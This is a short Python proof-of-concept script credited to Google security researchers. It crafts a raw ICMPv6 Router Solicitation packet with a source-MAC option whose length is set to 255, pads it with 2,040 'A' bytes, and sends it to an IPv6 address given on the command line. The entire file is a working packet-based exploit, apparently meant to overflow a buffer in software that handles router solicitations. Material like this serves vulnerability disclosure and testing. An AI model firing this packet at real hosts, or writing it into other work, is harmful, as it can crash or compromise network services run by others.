#!/usr/bin/env python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#     http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
#  Fermin J. Serna <fjserna@google.com>
#  Felix Wilhelm <fwilhelm@google.com>
#  Gabriel Campana <gbrl@google.com>
#  Kevin Hamacher <hamacher@google.com>
#  Gynvael Coldwind <gynvael@google.com>
#  Ron Bowes - Xoogler :/

from struct import pack
import socket
import sys

ND_ROUTER_SOLICIT = 133
ICMP6_OPT_SOURCE_MAC = 1

def u8(x):
    return pack("B", x)

def send_packet(data, host):
    print("[+] sending {} bytes to {}".format(len(data), host))
    s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6)
    s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))

    if s.sendto(data, (host, 0)) != len(data):
        print("[!] Could not send (full) payload")
    s.close()

if __name__ == '__main__':
    assert len(sys.argv) == 2, "Run via {} <IPv6>".format(sys.argv[0])
    host, = sys.argv[1:]
    pkg = b"".join([
        u8(ND_ROUTER_SOLICIT),    # type
        u8(0),                    # code
        b"X" * 2,                 # checksum
        b"\x00" * 4,              # reserved
        u8(ICMP6_OPT_SOURCE_MAC), # hey there, have our mac
        u8(255),                  # Have 255 MACs!
        b"A" * 255 * 8,
    ])

    send_packet(pkg, host)

